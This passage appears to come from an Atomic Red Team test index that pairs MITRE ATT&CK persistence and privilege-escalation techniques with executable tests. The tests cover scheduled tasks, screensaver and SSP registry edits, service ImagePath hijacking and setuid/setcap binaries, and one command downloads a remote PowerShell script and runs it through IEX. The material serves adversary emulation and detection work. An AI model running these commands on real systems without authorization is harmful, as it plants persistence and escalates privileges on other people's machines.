          type: String
          default: '20:10'
      executor:
        name: command_prompt
        elevation_required: false
        command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

'
        cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1

'
    - name: Scheduled task Remote
      auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
      description: |
        Create a task on a remote system.

        Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: String
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: String
          default: '20:10'
        target:
          description: Target
          type: String
          default: localhost
        user_name:
          description: 'Username to authenticate with, format: DOMAIN\User'
          type: String
          default: DOMAIN\user
        password:
          description: Password to authenticate with
          type: String
          default: At0micStrong
      executor:
        name: command_prompt
        elevation_required: true
        command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
          "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

'
        cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password}
          /TN "Atomic task" /F >nul 2>&1

'
    - name: Powershell Cmdlet Scheduled Task
      auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
      description: |
        Create an atomic scheduled task that leverages native powershell cmdlets.

        Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "calc.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTask -InputObject $object
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false
          >$null 2>&1

'
    - name: Task Scheduler via VBA
      auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
      description: |
        This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
        30 - 40 seconds after this module has run
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n"
        name: powershell
    - name: WMI Invoke-CimMethod Scheduled Task
      auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
      description: 'Create an scheduled task that executes notepad.exe after user
        login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing
        as Register-ScheduledTask cmdlet behind the scenes.

'
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false
          >$null 2>&1

'
  T1053:
    technique:
      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scheduled Task/Job
      description: |-
        Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

        Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).
      external_references:
      - source_name: mitre-attack
        external_id: T1053
        url: https://attack.mitre.org/techniques/T1053
      - external_id: CAPEC-557
        source_name: capec
        url: https://capec.mitre.org/data/definitions/557.html
      - url: https://technet.microsoft.com/en-us/library/cc785125.aspx
        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
          June 8, 2016.
        source_name: TechNet Task Scheduler Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-20T16:31:11.405Z'
      created: '2017-05-31T21:30:46.977Z'
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Containers
      x_mitre_remote_support: true
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Container: Container Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Prashant Verma, Paladion
      - Leo Loobeek, @leoloobeek
      - Travis Smith, Tripwire
      - Alain Homewood, Insomnia Security
      x_mitre_version: '2.1'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1546.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.002
        url: https://attack.mitre.org/techniques/T1546/002
      - source_name: Wikipedia Screensaver
        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
          5, 2017.
        url: https://en.wikipedia.org/wiki/Screensaver
      - source_name: ESET Gazer Aug 2017
        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
          backdoor. Retrieved September 14, 2017.'
        url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Screensaver
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.

        The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

        * <code>SCRNSAVE.exe</code> - set to malicious PE path
        * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
        * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
        * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

        Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-23T12:23:04.955Z'
      created: '2020-01-24T13:51:01.210Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.

        Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_contributors:
      - Bartosz Jerzman
      x_mitre_platforms:
      - Windows
      identifier: T1546.002
    atomic_tests:
    - name: Set Arbitrary Binary as Screensaver
      auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64
      description: 'This test copies a binary into the Windows System32 folder and
        sets it as the screensaver so it will execute for persistence. Requires a
        reboot and logon.

'
      supported_platforms:
      - windows
      input_arguments:
        input_binary:
          description: Executable binary to use in place of screensaver for persistence
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
          shutdown /r /t 0
        name: command_prompt
        elevation_required: true
  T1547.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.005
        url: https://attack.mitre.org/techniques/T1547/005
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
        source_name: Microsoft Configure LSA
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Security Support Provider
      description: |-
        Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

        The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T15:42:48.910Z'
      created: '2020-01-24T17:16:11.806Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned SSP DLLs try to load into the LSA by
        setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1547.005
    atomic_tests:
    - name: Modify SSP configuration in registry
      auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e
      description: Add a value to a Windows registry SSP key, simulating an adversarial
        modification of those keys.
      supported_platforms:
      - windows
      input_arguments:
        fake_ssp_dll:
          description: Value added to registry key. Normally refers to a DLL name
            in C:\Windows\System32.
          type: String
          default: not-a-ssp
      executor:
        command: |
          # run these in sequence
          $SecurityPackages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'
          $SecurityPackagesUpdated = $SecurityPackages
          $SecurityPackagesUpdated += "#{fake_ssp_dll}"
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated

          # revert (before reboot)
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
        name: powershell
        elevation_required: true
  T1574.010:
    technique:
      created: '2020-03-12T20:43:53.998Z'
      modified: '2020-09-16T19:10:04.262Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      name: Services File Permissions Weakness
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.010
        url: https://attack.mitre.org/techniques/T1574/010
      - external_id: CAPEC-17
        source_name: capec
        url: https://capec.mitre.org/data/definitions/17.html
      x_mitre_platforms:
      - Windows
      x_mitre_detection: "Look for changes to binaries and service executables that
        may normally occur during software updates. If an executable is written, renamed,
        and/or moved to match an existing service executable, it could be detected
        and correlated with other suspicious behavior. Hashing of binaries and service
        executables could be used to detect replacement against historical data.\n\nLook
        for abnormal process call trees from typical processes and services and for
        execution of other commands that could relate to Discovery or other adversary
        techniques. "
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
    atomic_tests: []
  T1574.011:
    technique:
      created: '2020-03-13T11:42:14.444Z'
      modified: '2020-09-16T19:07:48.590Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
      description: "Adversaries may execute their own malicious payloads by hijacking
        the Registry entries used by services. Adversaries may use flaws in the permissions
        for registry to redirect from the originally specified executable to one that
        they control, in order to launch their own code at Service start.  Windows
        stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        The information stored under a service's Registry keys can be manipulated
        to modify a service's execution parameters through tools such as the service
        controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),
        or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys
        is controlled through Access Control Lists and permissions. (Citation: Registry
        Key Security)\n\nIf the permissions for users and groups are not properly
        set and allow access to the Registry keys for a service, then adversaries
        can change the service binPath/ImagePath to point to a different executable
        under their control. When the service starts or is restarted, then the adversary-controlled
        program will execute, allowing the adversary to gain persistence and/or privilege
        escalation to the account context the service is set to execute under (local/domain
        account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also
        alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>)
        that may be executed in an elevated context anytime the service fails or is
        intentionally corrupted.(Citation: Kansa Service related collectors)(Citation:
        Tweet Registry Perms Weakness) "
      name: Services Registry Permissions Weakness
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.011
        url: https://attack.mitre.org/techniques/T1574/011
      - external_id: CAPEC-478
        source_name: capec
        url: https://capec.mitre.org/data/definitions/478.html
      - source_name: Registry Key Security
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
          Retrieved March 16, 2017.
      - source_name: Kansa Service related collectors
        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
          analysis. Retrieved October 10, 2019.'
      - source_name: Tweet Registry Perms Weakness
        url: https://twitter.com/r0wdy_/status/936365549553991680
        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
          April 9, 2018."
      - source_name: Autoruns for Windows
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

        Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Application control
      identifier: T1574.011
    atomic_tests:
    - name: Service Registry Permissions Weakness
      auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a
      description: |
        Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /v ImagePath /d "C:\temp\AtomicRedteam.exe"
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service check
          type: String
          default: weakservicename
      executor:
        command: |
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
        name: powershell
    - name: Service ImagePath Change with reg.exe
      auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827
      description: 'Change Service registry ImagePath of a bengin service to a malicious
        file

'
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service name
          type: String
          default: calcservice
        weak_service_path:
          description: weak service path
          type: String
          default: "%windir%\\system32\\win32calc.exe"
        malicious_service_path:
          description: malicious service path
          type: String
          default: "%windir%\\system32\\cmd.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The service must exist (#{weak_service_name})

'
        prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit
          1}

'
        get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"

'
      executor:
        command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"
          /f /v ImagePath /d "#{malicious_service_path}"

'
        cleanup_command: 'sc.exe delete #{weak_service_name}

'
        name: command_prompt
  T1548.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548.001
        url: https://attack.mitre.org/techniques/T1548/001
      - url: http://man7.org/linux/man-pages/man2/setuid.2.html
        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
          Retrieved September 21, 2018.
        source_name: setuid man page
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Setuid and Setgid
      description: |-
        An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.

        Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

        Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).
      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-27T00:43:58.149Z'
      created: '2020-01-30T14:11:41.212Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor the file system for files that have the setuid or
        setgid bits set. Monitor for execution of utilities, like chmod, and their
        command-line arguments to look for setuid or setguid bits being set.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1548.001
    atomic_tests:
    - name: Make and modify binary from C source
      auto_generated_guid: 896dfe97-ae43-4101-8e96-9a7996555d80
      description: 'Make, change owner, and change file attributes on a C source code
        file

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        payload:
          description: hello.c payload
          type: Path
          default: PathToAtomicsFolder/T1548.001/src/hello.c
      executor:
        command: |
          cp #{payload} /tmp/hello.c
          sudo chown root /tmp/hello.c
          sudo make /tmp/hello
          sudo chown root /tmp/hello
          sudo chmod u+s /tmp/hello
          /tmp/hello
        cleanup_command: |
          sudo rm /tmp/hello
          sudo rm /tmp/hello.c
        name: sh
        elevation_required: true
    - name: Set a SetUID flag on file
      auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79
      description: 'This test sets the SetUID flag on a file in Linux and macOS.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetUID flag
          type: Path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod u+s #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

'
        name: sh
        elevation_required: true
    - name: Set a SetGID flag on file
      auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c
      description: 'This test sets the SetGID flag on a file in Linux and macOS.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetGID flag
          type: Path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod g+s #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

'
        name: sh
        elevation_required: true
    - name: Make and modify capabilities of a binary
      auto_generated_guid: db53959c-207d-4000-9e7a-cd8eb417e072
      description: |
        Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
        The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
        Without being owned by root, the binary can set the UID to 0.
      supported_platforms:
      - linux
      input_arguments:
        payload:
          description: cap.c payload
          type: Path
          default: PathToAtomicsFolder/T1548.001/src/cap.c
      executor:
        command: |
          cp #{payload} /tmp/cap.c
          make /tmp/cap
          sudo setcap cap_setuid=ep /tmp/cap
          /tmp/cap
        cleanup_command: |
          rm /tmp/cap
          rm /tmp/cap.c
        name: sh
        elevation_required: true
    - name: Provide the SetUID capability to a file
      auto_generated_guid: 1ac3272f-9bcf-443a-9888-4b1d3de785c1
      description: 'This test gives a file the capability to set UID without using
        flags.

'
      supported_platforms:
      - linux
      input_arguments:
        file_to_setcap:
          description: Path of file to provide the SetUID capability
          type: Path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setcap}
          sudo setcap cap_setuid=ep #{file_to_setcap}
        cleanup_command: 'rm #{file_to_setcap}

'
        name: sh
        elevation_required: true
  T1547.009:
    technique:
      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
      description: |-
        Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

        Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
      name: Shortcut Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.009
        url: https://attack.mitre.org/techniques/T1547/009
      - external_id: CAPEC-132
        source_name: capec
        url: https://capec.mitre.org/data/definitions/132.html
      - source_name: BSidesSLC 2020 - LNK Elastic
        url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
          Than Its Weakest LNK. Retrieved November 30, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-13T21:30:24.555Z'
      created: '2020-01-24T19:00:32.917Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - David French, Elastic
      - Bobby, Filar, Elastic
      - Travis Smith, Tripwire
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.

        Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1547.009
    atomic_tests:
    - name: Shortcut Modification
      auto_generated_guid: ce4fc678-364f-4282-af16-2fb4c78005ce
      description: |
        This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
        gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
        Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        shortcut_file_path:
          description: shortcut modified and execute
          type: Path
          default: "%temp%\\T1547.009_modified_shortcut.url"
      executor:
        command: |
          echo [InternetShortcut] > #{shortcut_file_path}
          echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path}
          #{shortcut_file_path}
        cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1

'
